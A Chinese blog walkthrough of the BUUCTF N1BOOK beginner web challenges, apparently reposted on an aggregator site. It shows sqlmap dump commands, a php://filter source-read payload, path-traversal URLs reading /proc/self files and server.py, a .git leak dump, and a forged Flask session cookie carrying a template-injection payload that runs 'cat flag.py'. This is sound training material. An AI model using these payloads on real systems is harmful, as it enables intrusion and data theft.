【BUUCTF N1BOOK】[第一章 web入门] 通关

这篇具有很好参考价值的文章主要介绍了【BUUCTF N1BOOK】[第一章 web入门] 通关。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

[第一章 web入门]常见的搜集

robots.txt有flag1

index.php~有flag2

.index.php.swp有flag3

[第一章 web入门]SQL注入-1

sqlmap一把梭

[第一章 web入门]afr_1

php伪协议

[第一章 web入门]afr_2

目录穿越,文件读取

[第一章 web入门]粗心的小李

1.下载GitHack

2..git/泄漏

[第一章 web入门]afr_3


前言

N1BOOKNu1L Team为方便读者打造的免费平台,读者可在上面享受书籍相关资源以及查阅勘误。

[第一章 web入门]常见的搜集

n1book{info_1s_v3ry_imp0rtant_hack}

这里提示敏感文件,这里使用御剑扫描不到目录

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

我这里使用dirsearch扫描网站目录:

┌──(root💀kali)-[~]
└─# dirsearch -u http://9fa5191e-fbba-4744-bff4-6f7a789577b3.node5.buuoj.cn:81/ -e*

-e* 参数,通常来说,它应该被替换为具体的文件扩展名,以便进行目标网站的有针对性扫描 

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

robots.txt有flag1

flag1:n1book{info_1

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

index.php~有flag2

flag2:s_v3ry_im

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

.index.php.swp有flag3

flag3:p0rtant_hack}

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

拼接起来,flag是:n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入门]SQL注入-1

n1book{union_select_is_so_cool}

这里我给大家搞好了闭合点,这个很简单,通过简单的判断就可以出来

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

sqlmap一把梭

感兴趣的小伙伴们可以尝试下利用手工联合注入,我这里直接利用sqlmap跑

sqlmap -u "http://55d95487-415f-4693-9101-e6abda4bbb48.node5.buuoj.cn:81/index.php?id=1" --dbs --batch   ##跑库

sqlmap -u "http://55d95487-415f-4693-9101-e6abda4bbb48.node5.buuoj.cn:81/index.php?id=1" -D note --tables --batch      ##跑表

sqlmap -u "http://55d95487-415f-4693-9101-e6abda4bbb48.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g --columns --batch    ##跑列

sqlmap -u "http://55d95487-415f-4693-9101-e6abda4bbb48.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g -C 'fllllag' --dump  --batch   ##跑字段


【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

[第一章 web入门]afr_1

http://cba81709-c243-48c4-b593-837760ff0de5.node5.buuoj.cn:81/

n1book{afr_1_solved}

php伪协议

直接利用php伪协议读取flag

?p=php://filter/convert.base64-encode/resource=flag

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

[第一章 web入门]afr_2

n1book{afr_2_solved}

http://e1003d70-123f-4635-8946-a3674a107066.node5.buuoj.cn:81/

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

右击查看网页源代码,发现有个/img目录

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

目录穿越,文件读取

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

[第一章 web入门]粗心的小李

n1book{git_looks_s0_easyfun}

1.下载GitHack

GitCode - 开发者的代码家园https://gitcode.com/lijiejie/githack/overview?utm_source=csdn_github_accelerator&isLogin=1【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

2..git/泄漏

python GitHack.py http://b376ab2f-a56f-49fe-8887-b0275fba45a1.node5.buuoj.cn:81/.git/


【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

会生成一个index.html文件,打开就可以拿到flag了

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

[第一章 web入门]afr_3

n1book{afr_3_solved}

提交一个123上去

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

然后查看文章,发现url有传参

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

随便输入一个123,发现这里可能存在目录穿越或者文件包含漏洞

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

发现一个server.py文件

http://f70723e8-84fa-4861-b580-63657fa57ec5.node5.buuoj.cn:81/article?name=../../../../../proc/self/cmdline

在 Linux 系统中,/proc/self/cmdline 是一个特殊的文件,它包含了当前进程的命令行参数。通过读取这个文件,可以获取当前进程的命令行参数。


【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

http://f70723e8-84fa-4861-b580-63657fa57ec5.node5.buuoj.cn:81/article?name=../../../../../proc/self/cwd/server.py

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

这里发现flag.py和key.py

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

flag.py不允许访问

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

在 Linux 中,/proc/self/cwd/ 是一个特殊的符号链接,它指向当前进程的当前工作目录。通过将 ../../../../../proc/self/cwd/key.py 附加到网站的地址中,你尝试获取当前工作目录下的 key.py 文件。

根据你提供的信息,得到的文件内容是 #!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'。这个文件内容表示是一个以 Python 编写的脚本,定义了一个名为 key 的变量,并给它赋了 'Drmhze6EPcv0fN_81Bj-nA' 这个字符串值。

加密脚本的获取方式

 git clone https://github.com/noraj/flask-session-cookie-manager

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

┌──(root💀kali)-[~/桌面/flask-session-cookie-manager]
└─# python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.Zb9oCQ.Nn27TDkaahhdaRVZ6bm4ktrMcpI

【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF

当我们使用脚本得到session时,我们需要抓包,进行伪造cookie,得到flag

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.Zb9oCQ.Nn27TDkaahhdaRVZ6bm4ktrMcpI


【BUUCTF N1BOOK】[第一章 web入门] 通关,CTF夺旗赛,web,前端,javascript,开发语言,web安全,vulnhub,BUUCTF,CTF文章来源地址https://www.toymoban.com/news/detail-829832.html

到了这里,关于【BUUCTF N1BOOK】[第一章 web入门] 通关的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • BUUCTF-练习场-WEB-第一部分(8道)

    payload: 1\\\' or 1=1# \\\'是闭合前面的查询语句,or 1=1恒成立,可以使用or句子绕过判断,#用于注释,注释后面的内容不再执行,所以该sql命令会返回表内所有内容,其实就是实现一个闭合查询,绕过判断,返回内容 F12查看源代码,发现注释中有一个source.php文件名称 访问这个文件

    2024年02月06日
    浏览(29)
  • ElasticSearch第一章(入门介绍)

    ElasticSearch(弹性搜索),简称ES。 ES是一个分布式,RESTFul风格的搜索和数据分析引擎 ,能够解决不断涌现出的各种用例。作为 Elastic Stack(Elastic技术栈简称ELK) 的核心,Elasticsearch 会集中存储您的数据,让您飞快完成搜索,微调相关性,进行强大的分析,并轻松缩放规模。 我

    2024年02月22日
    浏览(32)
  • 第一章 MATLAB入门

    MATLAB(矩阵实验室的简称)是一种专业的计算机程序,用于工程科学的矩阵数学运算。但 在以后的几年内,它逐渐发展为一种极其灵活的计算体系,用于解决各种重要的技术问题。 Matlab程序执行MATLAB语言,并提供了一个极其广泛的预定义函数库,这样就使得技术工作 变得简

    2024年02月05日
    浏览(35)
  • 第一章 快速入门

    TypeScript是JavaScript的超集。 它对JS进行了扩展,向JS中引入了类型的概念,并添加了许多新的特性。 TS代码需要通过编译器编译为JS,然后再交由JS解析器执行。 TS完全兼容JS,换言之,任何的JS代码都可以直接当成JS使用。 相较于JS而言,TS拥有了静态类型,更加严格的语法,更

    2024年02月01日
    浏览(29)
  • 第一章:SpringBoot基础入门

    Spring 能做什么 Spring 的能力 Spring 的生态 网址: https://spring.io/projects/spring-boot 覆盖了: Web 开发、数据访问、安全控制、分布式、消息服务、移动开发、批处理等。 Spring5 重大升级 响应式编程 内部源码设计 基于 Java8 的一些新特性。 为什么用 SpringBoot ​ Spring Boot makes it eas

    2024年02月12日
    浏览(35)
  • 第一章 小程序入门

    小程序的基本结构 小程序的页面组成部分 JSON 配置文件的作用 app.json 配置文件 project.config.json 配置文件 sitemap.json 配置文件 页面 .json 配置文件 什么是 wxml wxml 和 html 的区别 什么是 wxss wxss 和 css 的区别 通信模型 小程序的启动过程 页面渲染过程 button 按钮的基本使用 img 组件

    2024年02月08日
    浏览(53)
  • ChatGPT入门到高级【第一章】

    第一章:Chatgpt的起源和发展 1.1 人工智能和Chatbot的概念 1.2 Chatbot的历史发展 1.3 机器学习技术在Chatbot中的应用 1.4 Chatgpt的诞生和发展 第二章:Chatgpt的技术原理 2.1 自然语言处理技术 2.2 深度学习技术 2.3 Transformer模型 2.4 GPT模型 第三章:Chatgpt的应用场景 3.1 智能客服 3.2 智能问

    2024年02月04日
    浏览(24)
  • 【Matlab入门】 第一章 Matlab基础

    你好!欢迎查看此系列笔记。为何说是笔记而不是教程呢,是因为这就是真真切切的我自己学习的记录,从R2022a版本到R2024a,这意味着该系列笔记可能会一直更新下去,倘若有重大更迭,我也会及时更新。观看者遇到问题,可以在评论区反馈,我争取及时交流修改。初始笔记

    2024年02月20日
    浏览(31)
  • Linux——(第一章)Linux的入门

    VMwear workstations下载及安装 Ubuntu server 18.04安装 VScode下载与安装 使用VS Code连接远程服务器 MobaXterm的下载安装及远程连接 Filezila的下载、安装与使用(向服务器传输文件) 目录 1.概述 2.Linux和Windows的区别 3.VM的安装与使用         Linux内核最早由芬兰人林纳斯·托瓦兹(Linus

    2024年02月10日
    浏览(24)
  • 第一章 无人机入门(二)软件架构

    之前我写了一篇关于无人机硬件架构的博客,接下来我继续写关于软件架构的。 什么是软件?百度百科里面软件的定义是“按照特定顺序组织的计算机数据和指令的集合”,在这里我们只需要理解为程序即可,也就是说我们的软件,是运行在计算机(不论是Intel还是AMD亦或者

    2024年02月08日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包